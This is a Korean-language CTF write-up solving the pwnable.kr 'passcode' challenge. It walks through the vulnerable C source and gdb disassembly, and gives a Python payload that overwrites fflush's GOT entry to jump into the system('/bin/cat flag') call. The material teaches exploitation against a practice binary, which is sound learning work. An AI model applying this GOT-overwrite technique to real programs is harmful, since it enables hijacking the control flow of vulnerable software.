본문 바로가기

CTF_Write_UP/pwnable.kr

pwnable.kr : passcode 풀이

시작

안녕하세요! :D

10 pt짜리 문제인 passcode의 풀이를 써볼까 합니다.

드디어 이 문제의 Write up을 쓰게 되네요..

이 문제 때문에 며칠동안 끙끙 앓았습니다 ㅠㅠ

많이 고민한 만큼 얻은 것도 많았어요!!

어려울 수 있지만 끝까지!! 포기말고 진행해보시면 풀 수 있을 겁니다!!

들어가볼까요?

root@goorm:/workspace/LCH_Server# ssh passcode@pwnable.kr -p2222

Write UP

passcode@ubuntu:~$ ls -l
total 16
-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode
-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c

여느 때와 똑같이 passcode 먼저 실행해보도록 하겠습니다.

passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : LCH
Welcome LCH!
enter passcode1 : 1234
Segmentation fault

사용자에게 이름을 입력받고 Welcome! 메시지를 출력 후 passcode1을 입력받네요.

임의의 값을 넣어주자 Segmentation fault와 함께 프로그램이 종료됩니다.

코드를 한 번 볼까요?

passcode@ubuntu:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

크게 main(), welcome(), login() 함수가 보입니다.

main은 간단하게 welcom()login()을 불러오네요.

먼저 welcome()으로 가보겠습니다.

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

100 bytes짜리 문자형 name 배열을 선언 후 scanf 함수로 받는 모습입니다.

별다른 특별한 점은 없네요.

login()으로 가보죠.

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

두 정수형 변수 passcode1, passcode2를 선언 후 scanf로 받으려고 하는데..

뭔가.. 빠졌죠? &passcode1 형태로 받아야 하는데 &가 보이질 않네요.

저거 때문에 오류 메시지가 출력되는 것 같습니다.

밑에 if문을 보면 passcode1passcode2의 값이 저거일 때 flag를 출력해주는데

음.. 변수를 건드릴 수 있는 방법이 딱히 떠오르질 않네요..

 


 

우선 gdb를 이용해 메모리에 무슨 일이 일어나는지 알아보겠습니다.

welcome() 함수를 먼저 보죠.

gdb-peda$ disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:     push   ebp
   0x0804860a <+1>:     mov    ebp,esp
   0x0804860c <+3>:     sub    esp,0x88
   0x08048612 <+9>:     mov    eax,gs:0x14
   0x08048618 <+15>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:    xor    eax,eax
   0x0804861d <+20>:    mov    eax,0x80487cb
   0x08048622 <+25>:    mov    DWORD PTR [esp],eax
   0x08048625 <+28>:    call   0x8048420 <printf@plt>
   0x0804862a <+33>:    mov    eax,0x80487dd
   0x0804862f <+38>:    lea    edx,[ebp-0x70]
   0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:    mov    DWORD PTR [esp],eax
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:    mov    eax,0x80487e3
   0x08048643 <+58>:    lea    edx,[ebp-0x70]
   0x08048646 <+61>:    mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:    mov    DWORD PTR [esp],eax
   0x0804864d <+68>:    call   0x8048420 <printf@plt>
   0x08048652 <+73>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:    xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:    je     0x8048663 <welcome+90>
   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:    leave
   0x08048664 <+91>:    ret
End of assembler dump.

welcome+33 부터 welcome+48까지 scanf 함수를 위한 값을 스택에 채워주는 모습이 보입니다,

0x80487dd가 가리키는건 %100s 겠네요.

그 밑에 ebp-0x70은 느낌이 name 배열의 시작주소 같지 않나요??

확실하게 보기 위해 scanf 함수 호출 직후인 welcome+53break point를 걸고 달려보겠습니다.

name 배열을 채우기 위해 이름에 A를 100번 넣어보겠습니다.

gdb-peda$ x/x $ebp-0x70
0xffc74bc8:     0x41
gdb-peda$ x/40wx $esp
0xffc74bb0:     0x080487dd      0xffc74bc8      0xf77c3d60      0xf767b47b
0xffc74bc0:     0xf77c3d60      0x08292008      0x41414141      0x41414141
0xffc74bd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffc74be0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffc74bf0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffc74c00:     0x41414141      0x41414141      0x41414141      0x41414141
0xffc74c10:     0x41414141      0x41414141      0x41414141      0x41414141
0xffc74c20:     0x41414141      0x41414141      0x41414141      0xa6955500
0xffc74c30:     0xf77c3000      0xf77c3000      0xffc74c58      0x0804867f
0xffc74c40:     0x080487f0      0x08048250      0x080486a9      0x00000000
gdb-peda$ x/x $ebp-0xd
0xffc74c2b:     0x95550041

ebp-0x70의 주소는 0xffc74bc8, 즉 name 배열의 시작주소가 되겠네요.

끝 주소는 ebp-0xd, 0xffc74c2b 입니다.

따라서 name 배열의 주소는 0xffc74bc8 ~ 0xffc74c2b 입니다, 100 bytes죠.

우리는 이제 입력한 name이 어느 영역에 저장되는지 알았습니다.

login() 함수로 넘어가볼까요?

gdb-peda$ disas login
Dump of assembler code for function login:
   0x08048564 <+0>:     push   ebp
   0x08048565 <+1>:     mov    ebp,esp
   0x08048567 <+3>:     sub    esp,0x28
   0x0804856a <+6>:     mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
End of assembler dump.

login+24를 보면 ebp-0x10 라는 부분이 보입니다.

이제 많이 봐서 익숙하시죠? passcode1 변수가 저 부분에 선언되는 것 같습니다.

마찬가지로 gdb로 확인해보죠. scanf를 호출하는 login+34 부분에 break point를 걸고 달리겠습니다.

gdb-peda$ x/x $ebp-0x10
0xffc74c28:     0x41414141

ebp-0x10을 확인해보니깐 주소값이 0xffc74c28로 나오네요.

passcode1 변수는 int형 타입이기 때문에 0xffc74c28 ~ 0xffc74c2b의 주소를 가질건데..??

어디서 많이 본 주소네요?

name 배열의 끝이 0xffc74c2b 였죠? 그렇다면..

name[97] ~ name[100]의 영역과 passcode의 주소가 겹쳤다는 것을 알 수 있습니다.

실제로 위에서 보듯이 passcode1의 주소에 A(=41)이 들어가 있네요.

Stack 영역에서 login()함수의 스택프레임이 쌓인 후 나간 자리와 그대로 welcome()이 들어온 자리가 겹친 것입니다.

passcode1 변수의 초기화가 없었기 때문에 name에서 받아온 값들이 남아있는 것을 확인했습니다.

 


 

자, 우리는 name 변수를 통해 passcode1의 주소를 건드릴 수 있다는 것을 알았습니다.

scanf로 입력값을 받을 때 &가 없기 때문에 passcode1의 주소에 값이 저장되기 때문이죠.

이런 상황에서, 어떻게 flag를 볼 수 있을까요?

Exploit을 하기 전에 PLTGOT가 무엇인지 알아야 합니다.

이 쪽에 정리가 잘 되어있어서 참고하여 작성했습니다!

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

PLT : 외부 프로시저를 연결해주는 테이블. PLT를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다.

GOT : PLT가 참조하는 테이블. 프로시저들의 주소가 들어있다.

간단하게 설명해보자면, Dynamic Link 방식으로 컴파일된 파일은 프로그램 내부에 라이브러리가 존재하지 않기 때문에

외부의 라이브러리로 링크하는 과정이 필요합니다.

이를 이용하여, login() 안에 있는 함수 중 하나를 골라 그 함수의 PLT를 타고 도착한 GOT 테이블을 system(/bin/cat flag)로 덮어쓴다면

Exploit이 가능하겠죠?

login() 속에 있는 fflush 함수를 이용해봅시다.

0x08048593 <+47>:    call   0x8048430 <fflush@plt>

fflush의 plt 주소는 0x8048430 이네요. 자세히 볼까요?

gdb-peda$ x/i 0x8048430
   0x8048430 <fflush@plt>:      jmp    DWORD PTR ds:0x804a004

어셈블리어 형태로 보기 위해 xi 옵션을 주었습니다.

0x804a004 주소로 jmp 하네요. 저 주소가 바로 GOT 입니다.

passcode1 변수의 주소에 저 값을 연결시켜 놓으면 scanf로 입력받을 때 fflush 함수의 실행을 조작할 수 있게 됩니다.

거의 다 왔습니다.. 이제 변조된 fflush 함수가 무엇을 실행할 지 입력만 해주면 됩니다.

login() 어셈을 보면 쉽게 답을 찾을 수 있는데요!!

0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
0x080485ea <+134>:   call   0x8048460 <system@plt>

passcode.c 에서도 볼 수 있듯이 system(/bin/cat flag) 부분입니다.

0x080458e3 으로 fflush 함수의 GOT를 설정해 놓는다면 fflush 함수가 실행될 때 저 주소로 이동하겠죠?

문제가 풀렸습니다.. 길었습니다 ㅠㅠ

정리해보죠.

  1. name 배열 끝 4 bytespasscode1의 주소와 겹친다.

  2. name 배열 끝 4 bytesfflush 함수의 GOT 테이블의 주소로 입력한다. ( =passcode1fflush 함수의 GOT가 됨)

  3. scanf를 통해 passcode1, 즉 fflush 함수의 GOT를 조작한다. system 함수의 시작으로 덮어쓴다!

  4. Exploit!

페이로드를 작성해보도록 하겠습니다.. ㅠㅠ 힘들었다..

system(/bin/cat flag) 의 시작 주소인 0x080485e3scanf 함수가 %d로 받기 때문에 10진수로 바꿔서 넣어줍시다!

passcode@ubuntu:~$ (python -c 'print "A" * 96 + "\x04\xa0\x04\x08" + "134514147"') | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

마무리

2일..? 3일..?? 걸렸습니다.

완벽하게 이해하려니깐 진짜 멘탈 박살날 것 같았어요..

처음에 너무 헷갈려서 멍..하니 생각만 한 것 같습니다. 다른 분들의 풀이를 봐도 모르겠더라구요ㅠㅠ

잠도 잘 안오고 난리였습니다. 그래도!! 계속 건드려보니깐 풀렸습니다. 이해가 됐습니다!!

시간을 들인 만큼 뿌듯하네요ㅎ.. PLTGOT 개념도 어느 정도 들어왔구..

고생하셨습니다!! 다음 문제에서 만나요 :D

 

 

'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글

pwnable.kr : shellshock 풀이  (0) 2019.04.16
pwnable.kr : mistake 풀이  (0) 2019.04.16
pwnable.kr : random 풀이  (0) 2019.04.13
pwnable.kr : bof 풀이  (0) 2019.04.13
pwnable.kr : col 풀이  (0) 2019.04.12